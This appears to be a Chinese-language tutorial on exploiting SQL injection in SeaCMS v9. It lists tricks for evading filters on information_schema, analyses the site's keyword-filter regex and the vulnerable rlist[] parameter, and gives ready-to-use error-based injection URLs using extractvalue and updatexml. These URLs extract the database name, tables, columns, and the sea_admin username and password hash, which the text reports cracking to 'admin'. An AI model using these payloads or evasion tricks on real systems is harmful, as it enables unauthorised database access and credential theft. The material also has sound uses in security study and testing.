seacms v9 实现的MySQL注入
目录
过滤关键词information_schema 怎么办
一、环境搭建
二、环境分析
三、源代码分析
1、过滤程序
2、注入点
四、获取数据库名
五、获取数据库表名
六、获取表的列名
七、获取数据信息
过滤关键词information_schema 怎么办
1.、利用sys数据库（MySQL 5.7+） sys库是MySQL官方提供的系统监控数据库，可能未被过滤。
例：查询表名和列名
SELECT table_name FROM sys.schema_table_statistics; SELECT column_name FROM sys.schema_columns WHERE table_name='users';
2、 利用mysql系统库 mysql库存储用户权限信息，部分表可能包含元数据。
例：通过innodb_table_stats和innodb_index_stats获取表名
SELECT table_name FROM mysql.innodb_table_stats;
3.、编码混淆
十六进制编码：information_schema → 0x696E666F726D6174696F6E5F736368656D61
SELECT * FROM 0x696E666F726D6174696F6E5F736368656D61.tables;
Unicode编码：i → CHAR(105)
4、 字符串拼接 使用CONCAT()或SUBSTR()绕过简单过滤
SELECT * FROM CONCAT('inform', 'ation_schema').tables;
5、. 注释符干扰 插入注释分隔符：/**/或/*!*/
SELECT * FROM infor/*!mation_schema*/.tables;
一、环境搭建
二、环境分析
在海洋cms V9 中，用户输入（如登录、评论、分页、ID 等）未经过适当的验证和清理，直接嵌入到 SQL 查询中，导致了 SQL 注入攻击的发生。
三、源代码分析
1、过滤程序
整个模式由三部分组成：前面是一个否定字符组`[^0-9a-z@\._-]{1,}`，中间是关键字组`(union|sleep|...)`，后面又是同样的否定字符组。这个结构可能是在匹配那些被非允许字符包围的关键字，比如`union`前后有特殊符号的情况。
[^0-9a-z@\._-]{1,} # 第一部分：匹配非允许字符的连续序列
(union|sleep|benchmark|load_file|outfile) # 第二部分：匹配危险SQL关键词
[^0-9a-z@\.-]{1,} # 第三部分：再次匹配非允许字符的连续序列
2、注入点
参数rlist[]被用作数组传递，可能在后端代码中被直接拼接到SQL查询中，没有进行充分的过滤或参数化处理，导致注入发生。
$sql = "SELECT id,uid,username,dtime,reply,msg,agree,anti,pic,vote,ischeck FROM sea_comment WHERE m_type=$type AND id in ($ids) ORDER BY id DESC";四、获取数据库名
?gid=1&page=2&rlist[]=@`%27`,extractvalue(1,concat_ws(0x20,%200x5c,(select%20database()))),@`%27`gid=1：ID（数值型）。
page=2：分页参数。
extractvalue()：MySQL XML处理函数，用于触发错误。
concat_ws()：用分隔符连接字符串，0x20是空格，0x5c是反斜杠\。
select database()：获取当前数据库用户。
攻击者访问构造的URL，服务器处理rlist[]参数。 后端代码将rlist[]值拼接到IN子句： 执行时因非法XPath语法报错，错误信息包含数据库用户
五、获取数据库表名
当sea_comment表中无数据时不会回显报错
添加数据后成功回显
?gid=1&page=2&type=1&rlist[]=@`%27`,%20extractvalue(1,concat_ws(0x7e,0x7e,(select%23%0atable_name%20from%23%0ainformation_schema.tables%20where%20table_schema%20=0x736561636d73%20limit%200,1))),%20@`%27`
六、获取表的列名
?gid=1&page=2&type=1&rlist[]=@`%27`,%20extractvalue(1,concat_ws(0x7e,0x7e,(select%23%0acolumn_name%20from%23%0ainformation_schema.columns%20where%20table_schema%20=0x736561636d73%20and%20table_name=0x7365615f61646d696e%20limit%201,1))),%20@`%27`
?gid=1&page=2&type=1&rlist[]=@`%27`,%20extractvalue(1,concat_ws(0x7e,0x7e,(select%23%0acolumn_name%20from%23%0ainformation_schema.columns%20where%20table_schema%20=0x736561636d73%20and%20table_name=0x7365615f61646d696e%20limit%202,1))),%20@`%27`
七、获取数据信息
?gid=1&page=2&type=1&rlist[]=@`%27`,updatexml%20(1,concat_ws(0x7e,0x7e,(select%20name%20from%23%0asea_admin%20limit%200,1)),1),%20@`%27`
?gid=1&page=2&type=1&rlist[]=@`%27`,updatexml%20(1,concat_ws(0x7e,0x7e,(select%20password%20from%23%0asea_admin%20limit%200,1)),1),%20@`%27`
由于password进行的md5加密，将注入结果（f297a57a5a743894a0e4）进行解密后得到admin
